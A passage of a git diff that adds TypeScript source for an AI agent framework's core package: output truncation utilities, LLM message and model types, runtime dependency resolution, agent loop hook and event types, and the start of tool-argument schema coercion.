* 1024) { + return `${(bytes / 1024).toFixed(1)}KB`; + } + return `${(bytes / (1024 * 1024)).toFixed(1)}MB`; +} + +/** + * Truncate content from the head (keep first N lines/bytes). + * Suitable for file reads where you want to see the beginning. + * + * Never returns partial lines. If first line exceeds byte limit, + * returns empty content with firstLineExceedsLimit=true. + */ +export function truncateHead(content: string, options: TruncationOptions = {}): TruncationResult { + const maxLines = options.maxLines ?? DEFAULT_MAX_LINES; + const maxBytes = options.maxBytes ?? DEFAULT_MAX_BYTES; + + const totalBytes = utf8ByteLength(content); + const lines = content.split("\n"); + const totalLines = lines.length; + + // Check if no truncation needed + if (totalLines <= maxLines && totalBytes <= maxBytes) { + return { + content, + truncated: false, + truncatedBy: null, + totalLines, + totalBytes, + outputLines: totalLines, + outputBytes: totalBytes, + lastLinePartial: false, + firstLineExceedsLimit: false, + maxLines, + maxBytes, + }; + } + + // Check if first line alone exceeds byte limit + const firstLineBytes = utf8ByteLength(lines[0]); + if (firstLineBytes > maxBytes) { + return { + content: "", + truncated: true, + truncatedBy: "bytes", + totalLines, + totalBytes, + outputLines: 0, + outputBytes: 0, + lastLinePartial: false, + firstLineExceedsLimit: true, + maxLines, + maxBytes, + }; + } + + // Collect complete lines that fit + const outputLinesArr: string[] = []; + let outputBytesCount = 0; + let truncatedBy: "lines" | "bytes" = "lines"; + + for (let i = 0; i < lines.length && i < maxLines; i++) { + const line = lines[i]; + const lineBytes = utf8ByteLength(line) + (i > 0 ? 1 : 0); // +1 for newline + + if (outputBytesCount + lineBytes > maxBytes) { + truncatedBy = "bytes"; + break; + } + + outputLinesArr.push(line); + outputBytesCount += lineBytes; + } + + // If we exited due to line limit + if (outputLinesArr.length >= maxLines && outputBytesCount <= maxBytes) { + truncatedBy = "lines"; + } + + const outputContent = outputLinesArr.join("\n"); + const finalOutputBytes = utf8ByteLength(outputContent); + + return { + content: outputContent, + truncated: true, + truncatedBy, + totalLines, + totalBytes, + outputLines: outputLinesArr.length, + outputBytes: finalOutputBytes, + lastLinePartial: false, + firstLineExceedsLimit: false, + maxLines, + maxBytes, + }; +} + +/** + * Truncate content from the tail (keep last N lines/bytes). + * Suitable for bash output where you want to see the end (errors, final results). + * + * May return partial first line if the last line of original content exceeds byte limit. + */ +export function truncateTail(content: string, options: TruncationOptions = {}): TruncationResult { + const maxLines = options.maxLines ?? DEFAULT_MAX_LINES; + const maxBytes = options.maxBytes ?? DEFAULT_MAX_BYTES; + + const totalBytes = utf8ByteLength(content); + const lines = content.split("\n"); + if (lines.length > 1 && lines[lines.length - 1] === "") { + lines.pop(); + } + const totalLines = lines.length; + + // Check if no truncation needed + if (totalLines <= maxLines && totalBytes <= maxBytes) { + return { + content, + truncated: false, + truncatedBy: null, + totalLines, + totalBytes, + outputLines: totalLines, + outputBytes: totalBytes, + lastLinePartial: false, + firstLineExceedsLimit: false, + maxLines, + maxBytes, + }; + } + + // Work backwards from the end + const outputLinesArr: string[] = []; + let outputBytesCount = 0; + let truncatedBy: "lines" | "bytes" = "lines"; + let lastLinePartial = false; + + for (let i = lines.length - 1; i >= 0 && outputLinesArr.length < maxLines; i--) { + const line = lines[i]; + const lineBytes = utf8ByteLength(line) + (outputLinesArr.length > 0 ? 1 : 0); // +1 for newline + + if (outputBytesCount + lineBytes > maxBytes) { + truncatedBy = "bytes"; + // Edge case: if we haven't added ANY lines yet and this line exceeds maxBytes, + // take the end of the line (partial) + if (outputLinesArr.length === 0) { + const truncatedLine = truncateStringToBytesFromEnd(line, maxBytes); + outputLinesArr.unshift(truncatedLine); + outputBytesCount = utf8ByteLength(truncatedLine); + lastLinePartial = true; + } + break; + } + + outputLinesArr.unshift(line); + outputBytesCount += lineBytes; + } + + // If we exited due to line limit + if (outputLinesArr.length >= maxLines && outputBytesCount <= maxBytes) { + truncatedBy = "lines"; + } + + const outputContent = outputLinesArr.join("\n"); + const finalOutputBytes = utf8ByteLength(outputContent); + + return { + content: outputContent, + truncated: true, + truncatedBy, + totalLines, + totalBytes, + outputLines: outputLinesArr.length, + outputBytes: finalOutputBytes, + lastLinePartial, + firstLineExceedsLimit: false, + maxLines, + maxBytes, + }; +} + +/** + * Truncate a string to fit within a byte limit (from the end). + * Handles multi-byte UTF-8 characters correctly. + */ +function truncateStringToBytesFromEnd(str: string, maxBytes: number): string { + if (maxBytes <= 0) { + return ""; + } + + let outputBytes = 0; + let start = str.length; + let needsReplacement = false; + for (let i = str.length; i > 0; ) { + let characterStart = i - 1; + const code = str.charCodeAt(characterStart); + let characterBytes: number; + let unpairedSurrogate = false; + if (code >= 0xdc00 && code <= 0xdfff && characterStart > 0) { + const previous = str.charCodeAt(characterStart - 1); + if (previous >= 0xd800 && previous <= 0xdbff) { + characterStart--; + characterBytes = 4; + } else { + characterBytes = 3; + unpairedSurrogate = true; + } + } else if (code >= 0xd800 && code <= 0xdfff) { + characterBytes = 3; + unpairedSurrogate = true; + } else { + characterBytes = code <= 0x7f ? 1 : code <= 0x7ff ? 2 : 3; + } + if (outputBytes + characterBytes > maxBytes) { + break; + } + outputBytes += characterBytes; + start = characterStart; + needsReplacement ||= unpairedSurrogate; + i = characterStart; + } + + const output = str.slice(start); + return needsReplacement ? replaceUnpairedSurrogates(output) : output; +} + +/** + * Truncate a single line to max characters, adding [truncated] suffix. + * Used for grep match lines. + */ +export function truncateLine( + line: string, + maxChars: number = GREP_MAX_LINE_LENGTH, +): { text: string; wasTruncated: boolean } { + if (line.length <= maxChars) { + return { text: line, wasTruncated: false }; + } + return { text: `${line.slice(0, maxChars)}... [truncated]`, wasTruncated: true }; +} diff --git a/packages/agent-core/src/index.ts b/packages/agent-core/src/index.ts new file mode 100644 index 00000000000..41566700445 --- /dev/null +++ b/packages/agent-core/src/index.ts @@ -0,0 +1,52 @@ +export * from "./agent.js"; +export * from "./agent-loop.js"; +export * from "./node.js"; +export * from "./runtime-deps.js"; +export * from "./types.js"; +export * from "./validation.js"; +export * from "./harness/agent-harness.js"; +export * from "./harness/env/kill-tree.js"; +export * from "./harness/messages.js"; +export * from "./harness/prompt-templates.js"; +export * from "./harness/skills.js"; +export * from "./harness/system-prompt.js"; +export * from "./harness/types.js"; +export * from "./harness/session/jsonl-repo.js"; +export * from "./harness/session/jsonl-storage.js"; +export * from "./harness/session/memory-repo.js"; +export * from "./harness/session/memory-storage.js"; +export * from "./harness/session/repo-utils.js"; +export * from "./harness/session/session.js"; +export { uuidv7 } from "./harness/session/uuid.js"; +export { + type BranchPreparation, + type BranchPathEntry, + type BranchSummaryDetails, + type CollectBranchPathEntriesResult, + type CollectEntriesResult, + collectEntriesForBranchSummary, + collectEntriesForBranchSummaryFromBranches, + generateBranchSummary, + prepareBranchEntries, +} from "./harness/compaction/branch-summarization.js"; +export { + calculateContextTokens, + compact, + DEFAULT_COMPACTION_SETTINGS, + estimateContextTokens, + estimateTokens, + findCutPoint, + findTurnStartIndex, + generateSummary, + getLastAssistantUsage, + prepareCompaction, + serializeConversation, + shouldCompact, + type CompactionDetails, + type CompactionPreparation, + type CompactionResult, + type CompactionSettings, + type ContextUsageEstimate, +} from "./harness/compaction/compaction.js"; +export * from "./harness/utils/shell-output.js"; +export * from "./harness/utils/truncate.js"; diff --git a/packages/agent-core/src/llm.ts b/packages/agent-core/src/llm.ts new file mode 100644 index 00000000000..f1d9b486159 --- /dev/null +++ b/packages/agent-core/src/llm.ts @@ -0,0 +1,267 @@ +import type { TSchema } from "typebox"; + +export type Api = string; +export type CacheRetention = "none" | "short" | "long"; +export type Transport = "sse" | "websocket" | "websocket-cached" | "auto"; +export type ThinkingLevel = "minimal" | "low" | "medium" | "high" | "xhigh"; +export type ModelThinkingLevel = "off" | ThinkingLevel; +export type MaybePromise = T | Promise; + +export interface ProviderResponse { + status: number; + headers: Record; +} + +export interface ThinkingBudgets { + minimal?: number; + low?: number; + medium?: number; + high?: number; +} + +export interface DiagnosticErrorInfo { + name?: string; + message: string; + stack?: string; + code?: string | number; +} + +export interface AssistantMessageDiagnostic { + type: string; + timestamp: number; + error?: DiagnosticErrorInfo; + details?: Record; +} + +export interface SimpleStreamOptions { + temperature?: number; + maxTokens?: number; + signal?: AbortSignal; + apiKey?: string; + transport?: Transport; + cacheRetention?: CacheRetention; + sessionId?: string; + onPayload?: (payload: unknown, model: Model) => MaybePromise; + onResponse?: (response: ProviderResponse, model: Model) => void | Promise; + headers?: Record; + timeoutMs?: number; + maxRetries?: number; + maxRetryDelayMs?: number; + metadata?: Record; + reasoning?: ThinkingLevel; + thinkingBudgets?: ThinkingBudgets; +} + +export interface TextContent { + type: "text"; + text: string; + textSignature?: string; +} + +export interface ThinkingContent { + type: "thinking"; + thinking: string; + thinkingSignature?: string; + redacted?: boolean; +} + +export interface ImageContent { + type: "image"; + data: string; + mimeType: string; +} + +export interface ToolCall { + type: "toolCall"; + id: string; + name: string; + arguments: Record; + thoughtSignature?: string; + executionMode?: "sequential" | "parallel"; +} + +export interface Usage { + input: number; + output: number; + cacheRead: number; + cacheWrite: number; + totalTokens: number; + cost: { + input: number; + output: number; + cacheRead: number; + cacheWrite: number; + total: number; + }; +} + +export type StopReason = "stop" | "length" | "toolUse" | "aborted" | "error"; + +export interface UserMessage { + role: "user"; + content: string | (TextContent | ImageContent)[]; + timestamp: number; +} + +export interface AssistantMessage { + role: "assistant"; + content: (TextContent | ThinkingContent | ToolCall)[]; + api: Api; + provider: string; + model: string; + responseModel?: string; + responseId?: string; + diagnostics?: AssistantMessageDiagnostic[]; + stopReason: StopReason; + errorMessage?: string; + timestamp: number; + usage: Usage; +} + +export interface ToolResultMessage { + role: "toolResult"; + toolCallId: string; + toolName: string; + content: (TextContent | ImageContent)[]; + isError: boolean; + details?: unknown; + timestamp: number; +} + +export type Message = UserMessage | AssistantMessage | ToolResultMessage; + +export interface Context { + systemPrompt?: string; + messages: Message[]; + tools?: Tool[]; +} + +export interface Model { + id: string; + name: string; + api: TApi; + provider: string; + baseUrl: string; + input: ("text" | "image")[]; + reasoning: boolean; + thinkingLevelMap?: Partial>; + contextWindow: number; + maxTokens: number; + cost: { + input: number; + output: number; + cacheRead: number; + cacheWrite: number; + }; + headers?: Record; + // Provider-owned compatibility payload; core carries it without inspecting it. + // eslint-disable-next-line @typescript-eslint/no-explicit-any + compat?: any; +} + +export interface Tool { + name: string; + description: string; + parameters: TParameters; +} + +export type AssistantMessageEvent = + | { type: "start"; partial: AssistantMessage } + | { type: "text_start"; contentIndex: number; partial: AssistantMessage } + | { type: "text_delta"; contentIndex: number; delta: string; partial: AssistantMessage } + | { type: "text_end"; contentIndex: number; content: string; partial: AssistantMessage } + | { type: "thinking_start"; contentIndex: number; partial: AssistantMessage } + | { type: "thinking_delta"; contentIndex: number; delta: string; partial: AssistantMessage } + | { type: "thinking_end"; contentIndex: number; content: string; partial: AssistantMessage } + | { type: "toolcall_start"; contentIndex: number; partial: AssistantMessage } + | { type: "toolcall_delta"; contentIndex: number; delta: string; partial: AssistantMessage } + | { type: "toolcall_end"; contentIndex: number; toolCall: ToolCall; partial: AssistantMessage } + | { + type: "done"; + reason: Extract; + message: AssistantMessage; + } + | { type: "error"; reason: Extract; error: AssistantMessage }; + +export class EventStream implements AsyncIterable { + private queue: T[] = []; + private waiting: ((value: IteratorResult) => void)[] = []; + private done = false; + private finalResultPromise: Promise; + private resolveFinalResult!: (result: R) => void; + + constructor( + private readonly isComplete: (event: T) => boolean, + private readonly extractResult: (event: T) => R, + ) { + this.finalResultPromise = new Promise((resolve) => { + this.resolveFinalResult = resolve; + }); + } + + push(event: T): void { + if (this.done) { + return; + } + if (this.isComplete(event)) { + this.done = true; + this.resolveFinalResult(this.extractResult(event)); + } + const waiter = this.waiting.shift(); + if (waiter) { + waiter({ value: event, done: false }); + } else { + this.queue.push(event); + } + } + + end(result?: R): void { + this.done = true; + if (result !== undefined) { + this.resolveFinalResult(result); + } + while (this.waiting.length > 0) { + this.waiting.shift()?.({ value: undefined as unknown as T, done: true }); + } + } + + async *[Symbol.asyncIterator](): AsyncIterator { + while (true) { + if (this.queue.length > 0) { + yield this.queue.shift()!; + } else if (this.done) { + return; + } else { + const result = await new Promise>((resolve) => + this.waiting.push(resolve), + ); + if (result.done) { + return; + } + yield result.value; + } + } + } + + result(): Promise { + return this.finalResultPromise; + } +} + +export interface AssistantMessageEventStream extends AsyncIterable { + result(): Promise; +} + +export type StreamFn = ( + model: Model, + context: Context, + options?: SimpleStreamOptions, +) => AssistantMessageEventStream | Promise; + +export type CompleteSimpleFn = ( + model: Model, + context: Pick, + options?: SimpleStreamOptions, +) => Promise; + +export type ValidateToolArgumentsFn = (tool: Tool, toolCall: ToolCall) => unknown; diff --git a/packages/agent-core/src/node.ts b/packages/agent-core/src/node.ts new file mode 100644 index 00000000000..23ccae43bf3 --- /dev/null +++ b/packages/agent-core/src/node.ts @@ -0,0 +1,2 @@ +export { NodeExecutionEnv } from "./harness/env/nodejs.js"; +export * from "./index.js"; diff --git a/packages/agent-core/src/runtime-deps.ts b/packages/agent-core/src/runtime-deps.ts new file mode 100644 index 00000000000..ebfc8387d01 --- /dev/null +++ b/packages/agent-core/src/runtime-deps.ts @@ -0,0 +1,37 @@ +import type { CompleteSimpleFn, StreamFn } from "./llm.js"; + +export interface AgentCoreRuntimeDeps { + streamSimple: StreamFn; + completeSimple: CompleteSimpleFn; +} + +export type AgentCoreStreamRuntimeDeps = Pick; +export type AgentCoreCompletionRuntimeDeps = Pick; + +function missingRuntimeDep(name: keyof AgentCoreRuntimeDeps): Error { + return new Error( + `@openclaw/agent-core runtime dependency "${name}" is not configured. Pass an AgentCoreRuntimeDeps instance or a streamFn explicitly.`, + ); +} + +export function resolveAgentCoreStreamFn( + runtime: AgentCoreStreamRuntimeDeps | undefined, + streamFn?: StreamFn, +): StreamFn { + if (streamFn) { + return streamFn; + } + if (runtime?.streamSimple) { + return runtime.streamSimple; + } + throw missingRuntimeDep("streamSimple"); +} + +export function resolveAgentCoreCompleteFn( + runtime: AgentCoreCompletionRuntimeDeps | undefined, +): CompleteSimpleFn { + if (runtime?.completeSimple) { + return runtime.completeSimple; + } + throw missingRuntimeDep("completeSimple"); +} diff --git a/packages/agent-core/src/types.ts b/packages/agent-core/src/types.ts new file mode 100644 index 00000000000..d6e7f596e9d --- /dev/null +++ b/packages/agent-core/src/types.ts @@ -0,0 +1,437 @@ +import type { Static, TSchema } from "typebox"; +import type { + AssistantMessage, + AssistantMessageEvent, + ImageContent, + Message, + Model, + SimpleStreamOptions, + StreamFn as LlmStreamFn, + TextContent, + Tool, + ToolResultMessage, +} from "./llm.js"; + +/** + * Stream function used by the agent loop. + * + * Contract: + * - Must not throw or return a rejected promise for request/model/runtime failures. + * - Must return an AssistantMessageEventStream. + * - Failures must be encoded in the returned stream via protocol events and a + * final AssistantMessage with stopReason "error" or "aborted" and errorMessage. + */ +export type StreamFn = LlmStreamFn; + +/** + * Configuration for how tool calls from a single assistant message are executed. + * + * - "sequential": each tool call is prepared, executed, and finalized before the next one starts. + * - "parallel": tool calls are prepared sequentially, then allowed tools execute concurrently. + * `tool_execution_end` is emitted in tool completion order after each tool is finalized, + * while tool-result message artifacts are emitted later in assistant source order. + */ +export type ToolExecutionMode = "sequential" | "parallel"; + +/** + * Controls how many queued user messages are injected when the agent loop reaches a queue drain point. + * + * - "all": drain and inject every queued message at that point. + * - "one-at-a-time": drain and inject only the oldest queued message, leaving the rest queued for later drain points. + */ +export type QueueMode = "all" | "one-at-a-time"; + +/** A single tool call content block emitted by an assistant message. */ +export type AgentToolCall = Extract; + +/** + * Result returned from `beforeToolCall`. + * + * Returning `{ block: true }` prevents the tool from executing. The loop emits an error tool result instead. + * `reason` becomes the text shown in that error result. If omitted, a default blocked message is used. + */ +export interface BeforeToolCallResult { + block?: boolean; + reason?: string; +} + +/** + * Partial override returned from `afterToolCall`. + * + * Merge semantics are field-by-field: + * - `content`: if provided, replaces the tool result content array in full + * - `details`: if provided, replaces the tool result details value in full + * - `isError`: if provided, replaces the tool result error flag + * - `terminate`: if provided, replaces the early-termination hint + * + * Omitted fields keep the original executed tool result values. + * There is no deep merge for `content` or `details`. + */ +export interface AfterToolCallResult { + content?: (TextContent | ImageContent)[]; + details?: unknown; + isError?: boolean; + /** + * Hint that the agent should stop after the current tool batch. + * Early termination only happens when every finalized tool result in the batch sets this to true. + */ + terminate?: boolean; +} + +/** Context passed to `beforeToolCall`. */ +export interface BeforeToolCallContext { + /** The assistant message that requested the tool call. */ + assistantMessage: AssistantMessage; + /** The raw tool call block from `assistantMessage.content`. */ + toolCall: AgentToolCall; + /** Validated tool arguments for the target tool schema. */ + args: unknown; + /** Current agent context at the time the tool call is prepared. */ + context: AgentContext; +} + +/** Context passed to `afterToolCall`. */ +export interface AfterToolCallContext { + /** The assistant message that requested the tool call. */ + assistantMessage: AssistantMessage; + /** The raw tool call block from `assistantMessage.content`. */ + toolCall: AgentToolCall; + /** Validated tool arguments for the target tool schema. */ + args: unknown; + /** The executed tool result before unknown `afterToolCall` overrides are applied. */ + result: AgentToolResult; + /** Whether the executed tool result is currently treated as an error. */ + isError: boolean; + /** Current agent context at the time the tool call is finalized. */ + context: AgentContext; +} + +/** Context passed to `shouldStopAfterTurn`. */ +export interface ShouldStopAfterTurnContext { + /** The assistant message that completed the turn. */ + message: AssistantMessage; + /** Tool result messages passed to the preceding `turn_end` event. */ + toolResults: ToolResultMessage[]; + /** Current agent context after the turn's assistant message and tool results have been appended. */ + context: AgentContext; + /** Messages that this loop invocation will return if it exits at this point. Prompt runs include the initial prompt messages; continuation runs do not include pre-existing context messages. */ + newMessages: AgentMessage[]; +} + +/** Replacement runtime state used by the agent loop before starting another provider request. */ +export interface AgentLoopTurnUpdate { + /** Context for the next provider request. */ + context?: AgentContext; + /** Model for the next provider request. */ + model?: Model; + /** Thinking level for the next provider request. */ + thinkingLevel?: ThinkingLevel; +} + +export interface PrepareNextTurnContext extends ShouldStopAfterTurnContext {} + +export interface AgentLoopConfig extends SimpleStreamOptions { + model: Model; + + /** + * Converts AgentMessage[] to LLM-compatible Message[] before each LLM call. + * + * Each AgentMessage must be converted to a UserMessage, AssistantMessage, or ToolResultMessage + * that the LLM can understand. AgentMessages that cannot be converted (e.g., UI-only notifications, + * status messages) should be filtered out. + * + * Contract: must not throw or reject. Return a safe fallback value instead. + * Throwing interrupts the low-level agent loop without producing a normal event sequence. + * + * @example + * ```typescript + * convertToLlm: (messages) => messages.flatMap(m => { + * if (m.role === "custom") { + * // Convert custom message to user message + * return [{ role: "user", content: m.content, timestamp: m.timestamp }]; + * } + * if (m.role === "notification") { + * // Filter out UI-only messages + * return []; + * } + * // Pass through standard LLM messages + * return [m]; + * }) + * ``` + */ + convertToLlm: (messages: AgentMessage[]) => Message[] | Promise; + + /** + * Optional transform applied to the context before `convertToLlm`. + * + * Use this for operations that work at the AgentMessage level: + * - Context window management (pruning old messages) + * - Injecting context from external sources + * + * Contract: must not throw or reject. Return the original messages or another + * safe fallback value instead. + * + * @example + * ```typescript + * transformContext: async (messages) => { + * if (estimateTokens(messages) > MAX_TOKENS) { + * return pruneOldMessages(messages); + * } + * return messages; + * } + * ``` + */ + transformContext?: (messages: AgentMessage[], signal?: AbortSignal) => Promise; + + /** + * Resolves an API key dynamically for each LLM call. + * + * Useful for short-lived OAuth tokens (e.g., GitHub Copilot) that may expire + * during long-running tool execution phases. + * + * Contract: must not throw or reject. Return undefined when no key is available. + */ + getApiKey?: (provider: string) => Promise | string | undefined; + + /** + * Called after each turn fully completes and `turn_end` has been emitted. + * + * If it returns true, the loop emits `agent_end` and exits before polling steering or follow-up queues, + * without starting another LLM call. The current assistant response and any tool executions finish normally. + * + * Use this to request a graceful stop after the current turn, e.g. before context gets too full. + * + * Contract: must not throw or reject. Throwing interrupts the low-level agent loop without producing a normal event sequence. + */ + shouldStopAfterTurn?: (context: ShouldStopAfterTurnContext) => boolean | Promise; + + /** + * Called after `turn_end` and before the loop decides whether another provider request should start. + * Return replacement context/model/thinking state to affect the next turn in this run. + * Return undefined to keep using the current context/config. + */ + prepareNextTurn?: ( + context: PrepareNextTurnContext, + ) => AgentLoopTurnUpdate | undefined | Promise; + + /** + * Returns steering messages to inject into the conversation mid-run. + * + * Called after the current assistant turn finishes executing its tool calls, unless `shouldStopAfterTurn` exits first. + * If messages are returned, they are added to the context before the next LLM call. + * Tool calls from the current assistant message are not skipped. + * + * Use this for "steering" the agent while it's working. + * + * Contract: must not throw or reject. Return [] when no steering messages are available. + */ + getSteeringMessages?: () => Promise; + + /** + * Returns follow-up messages to process after the agent would otherwise stop. + * + * Called when the agent has no more tool calls and no steering messages. + * If messages are returned, they're added to the context and the agent + * continues with another turn. + * + * Use this for follow-up messages that should wait until the agent finishes. + * + * Contract: must not throw or reject. Return [] when no follow-up messages are available. + */ + getFollowUpMessages?: () => Promise; + + /** + * Tool execution mode. + * - "sequential": execute tool calls one by one + * - "parallel": preflight tool calls sequentially, then execute allowed tools concurrently; + * emit `tool_execution_end` in tool completion order after each tool is finalized, + * then emit tool-result message artifacts later in assistant source order + * + * Default: "parallel" + */ + toolExecution?: ToolExecutionMode; + + /** + * Called before a tool is executed, after arguments have been validated. + * + * Return `{ block: true }` to prevent execution. The loop emits an error tool result instead. + * The hook receives the agent abort signal and is responsible for honoring it. + */ + beforeToolCall?: ( + context: BeforeToolCallContext, + signal?: AbortSignal, + ) => Promise; + + /** + * Called after a tool finishes executing, before `tool_execution_end` and tool-result message events are emitted. + * + * Return an `AfterToolCallResult` to override parts of the executed tool result: + * - `content` replaces the full content array + * - `details` replaces the full details payload + * - `isError` replaces the error flag + * - `terminate` replaces the early-termination hint + * + * Any omitted fields keep their original values. No deep merge is performed. + * The hook receives the agent abort signal and is responsible for honoring it. + */ + afterToolCall?: ( + context: AfterToolCallContext, + signal?: AbortSignal, + ) => Promise; +} + +/** + * Thinking/reasoning level for models that support it. + * Note: "xhigh" is only supported by selected model families. Use model thinking-level metadata + * from openclaw/plugin-sdk/llm to detect support for a concrete model. + */ +export type ThinkingLevel = "off" | "minimal" | "low" | "medium" | "high" | "xhigh"; + +/** + * Extensible interface for custom app messages. + * Apps can extend via declaration merging: + * + * @example + * ```typescript + * declare module "@mariozechner/agent" { + * interface CustomAgentMessages { + * artifact: ArtifactMessage; + * notification: NotificationMessage; + * } + * } + * ``` + */ +export interface CustomAgentMessages extends Record { + // Empty by default - apps extend via declaration merging +} + +/** + * AgentMessage: Union of LLM messages + custom messages. + * This abstraction allows apps to add custom message types while maintaining + * type safety and compatibility with the base LLM messages. + */ +export type AgentMessage = Message | CustomAgentMessages[keyof CustomAgentMessages]; + +/** + * Public agent state. + * + * `tools` and `messages` use accessor properties so implementations can copy + * assigned arrays before storing them. + */ +export interface AgentState { + /** System prompt sent with each model request. */ + systemPrompt: string; + /** Active model used for future turns. */ + model: Model; + /** Requested reasoning level for future turns. */ + thinkingLevel: ThinkingLevel; + /** Available tools. Assigning a new array copies the top-level array. */ + set tools(tools: AgentTool[]); + get tools(): AgentTool[]; + /** Conversation transcript. Assigning a new array copies the top-level array. */ + set messages(messages: AgentMessage[]); + get messages(): AgentMessage[]; + /** + * True while the agent is processing a prompt or continuation. + * + * This remains true until awaited `agent_end` listeners settle. + */ + readonly isStreaming: boolean; + /** Partial assistant message for the current streamed response, if any. */ + readonly streamingMessage?: AgentMessage; + /** Tool call ids currently executing. */ + readonly pendingToolCalls: ReadonlySet; + /** Error message from the most recent failed or aborted assistant turn, if any. */ + readonly errorMessage?: string; +} + +/** Final or partial result produced by a tool. */ +export interface AgentToolResult { + /** Text or image content returned to the model. */ + content: (TextContent | ImageContent)[]; + /** Arbitrary structured details for logs or UI rendering. */ + details: T; + /** + * Hint that the agent should stop after the current tool batch. + * Early termination only happens when every finalized tool result in the batch sets this to true. + */ + terminate?: boolean; +} + +/** Callback used by tools to stream partial execution updates. */ +export type AgentToolUpdateCallback = (partialResult: AgentToolResult) => void; + +/** Tool definition used by the agent runtime. */ +export interface AgentTool< + TParameters extends TSchema = TSchema, + TDetails = unknown, +> extends Tool { + /** Human-readable label for UI display. */ + label: string; + /** + * Optional compatibility shim for raw tool-call arguments before schema validation. + * Must return an object that matches `TParameters`. + */ + prepareArguments?: (args: unknown) => Static; + /** Execute the tool call. Throw on failure instead of encoding errors in `content`. */ + execute: ( + toolCallId: string, + params: Static, + signal?: AbortSignal, + onUpdate?: AgentToolUpdateCallback, + ) => Promise>; + /** + * Per-tool execution mode override. + * - "sequential": this tool must execute one at a time with other tool calls. + * - "parallel": this tool can execute concurrently with other tool calls. + * + * If omitted, the default execution mode applies. + */ + executionMode?: ToolExecutionMode; +} + +/** Context snapshot passed into the low-level agent loop. */ +export interface AgentContext { + /** System prompt included with the request. */ + systemPrompt: string; + /** Transcript visible to the model. */ + messages: AgentMessage[]; + /** Tools available for this run. */ + tools?: AgentTool[]; +} + +/** + * Events emitted by the Agent for UI updates. + * + * `agent_end` is the last event emitted for a run, but awaited `Agent.subscribe()` + * listeners for that event are still part of run settlement. The agent becomes + * idle only after those listeners finish. + */ +export type AgentEvent = + // Agent lifecycle + | { type: "agent_start" } + | { type: "agent_end"; messages: AgentMessage[] } + // Turn lifecycle - a turn is one assistant response + any tool calls/results + | { type: "turn_start" } + | { type: "turn_end"; message: AgentMessage; toolResults: ToolResultMessage[] } + // Message lifecycle - emitted for user, assistant, and toolResult messages + | { type: "message_start"; message: AgentMessage } + // Only emitted for assistant messages during streaming + | { type: "message_update"; message: AgentMessage; assistantMessageEvent: AssistantMessageEvent } + | { type: "message_end"; message: AgentMessage } + // Tool execution lifecycle + | { type: "tool_execution_start"; toolCallId: string; toolName: string; args: unknown } + | { + type: "tool_execution_update"; + toolCallId: string; + toolName: string; + args: unknown; + partialResult: unknown; + } + | { + type: "tool_execution_end"; + toolCallId: string; + toolName: string; + result: unknown; + isError: boolean; + }; diff --git a/packages/agent-core/src/validation.ts b/packages/agent-core/src/validation.ts new file mode 100644 index 00000000000..1015bff7e7d --- /dev/null +++ b/packages/agent-core/src/validation.ts @@ -0,0 +1,308 @@ +import { Compile } from "typebox/compile"; +import type { TLocalizedValidationError } from "typebox/error"; +import { Value } from "typebox/value"; +import type { Tool, ToolCall } from "./llm.js"; + +const validatorCache = new WeakMap>(); +const TYPEBOX_KIND = Symbol.for("TypeBox.Kind"); + +interface JsonSchemaObject { + type?: string | string[]; + properties?: Record; + items?: JsonSchemaObject | JsonSchemaObject[]; + additionalProperties?: boolean | JsonSchemaObject; + allOf?: JsonSchemaObject[]; + anyOf?: JsonSchemaObject[]; + oneOf?: JsonSchemaObject[]; +} + +function isRecord(value: unknown): value is Record { + return typeof value === "object" && value !== null; +} + +function isJsonSchemaObject(value: unknown): value is JsonSchemaObject { + return isRecord(value); +} + +function hasTypeBoxMetadata(schema: unknown): boolean { + return isRecord(schema) && Object.getOwnPropertySymbols(schema).includes(TYPEBOX_KIND); +} + +function getSchemaTypes(schema: JsonSchemaObject): string[] { + if (typeof schema.type === "string") { + return [schema.type]; + } + if (Array.isArray(schema.type)) { + return schema.type.filter((type): type is string => typeof type === "string"); + } + return []; +} + +function matchesJsonType(value: unknown, type: string): boolean { + switch (type) { + case "number": + return typeof value === "number"; + case "integer": + return typeof value === "number" && Number.isInteger(value); + case "boolean": + return typeof value === "boolean"; + case "string": + return typeof value === "string"; + case "null": + return value === null; + case "array": + return Array.isArray(value); + case "object": + return isRecord(value) && !Array.isArray(value); + default: + return false; + } +} + +function isValidatorSchema(value: unknown): value is Tool["parameters"] { + return isRecord(value); +} + +function getSubSchemaValidator(schema: JsonSchemaObject): ReturnType | undefined { + if (!isValidatorSchema(schema)) { + return undefined; + } + try { + return getValidator(schema); + } catch { + return undefined; + } +} + +function coercePrimitiveByType(value: unknown, type: string): unknown { + switch (type) { + case "number": { + if (value === null) { + return 0; + } + if (typeof value === "string" && value.trim() !== "") { + const parsed = Number(value); + if (Number.isFinite(parsed)) { + return parsed; + } + } + if (typeof value === "boolean") { + return value ? 1 : 0; + } + return value; + } + case "integer": { + if (value === null) { + return 0; + } + if (typeof value === "string" && value.trim() !== "") { + const parsed = Number(value); + if (Number.isInteger(parsed)) { + return parsed; + } + } + if (typeof value === "boolean") { + return value ? 1 : 0; + } + return value; + } + case "boolean": { + if (value === null) { + return false; + } + if (typeof value === "string") { + if (value === "true") { + return true; + } + if (value === "false") { + return false; + } + } + if (typeof value === "number") { + if (value === 1) { + return true; + } + if (value === 0) { + return false; + } + } + return value; + } + case "string": { + if (value === null) { + return ""; + } + if (typeof value === "number" || typeof value === "boolean") { + return String(value); + } + return value; + } + case "null": { + if (value === "" || value === 0 || value === false) { + return null; + } + return value; + } + default: + return value; + } +} + +function applySchemaObjectCoercion(value: Record, schema: JsonSchemaObject): void { + const properties = schema.properties; + const definedKeys = new Set(properties ? Object.keys(properties) : []); + + if (properties) { + for (const [key, propertySchema] of Object.entries(properties)) { + if (key in value) { + value[key] = coerceWithJsonSchema(value[key], propertySchema); + } + } + } + + if (schema.additionalProperties && isJsonSchemaObject(schema.additionalProperties)) { + for (const [key, propertyValue] of Object.entries(value)) { + if (!definedKeys.has(key)) { + value[key] = coerceWithJsonSchema(propertyValue, schema.additionalProperties); + } + } + } +} + +function applySchemaArrayCoercion(value: unknown[], schema: JsonSchemaObject): void { + if (Array.isArray(schema.items)) { + for (let index = 0; index < value.length; index++) { + const itemSchema = schema.items[index]; + if (itemSchema) { + value[index] = coerceWithJsonSchema(value[index], itemSchema); + } + } + return; + } + + if (isJsonSchemaObject(schema.items)) { + for (let index = 0; index < value.length; index++) { + value[index] = coerceWithJsonSchema(value[index], schema.items); + } + } +} + +function coerceWithUnionSchema(value: unknown, schemas: JsonSchemaObject[]): unknown { + for (const schema of schemas) { 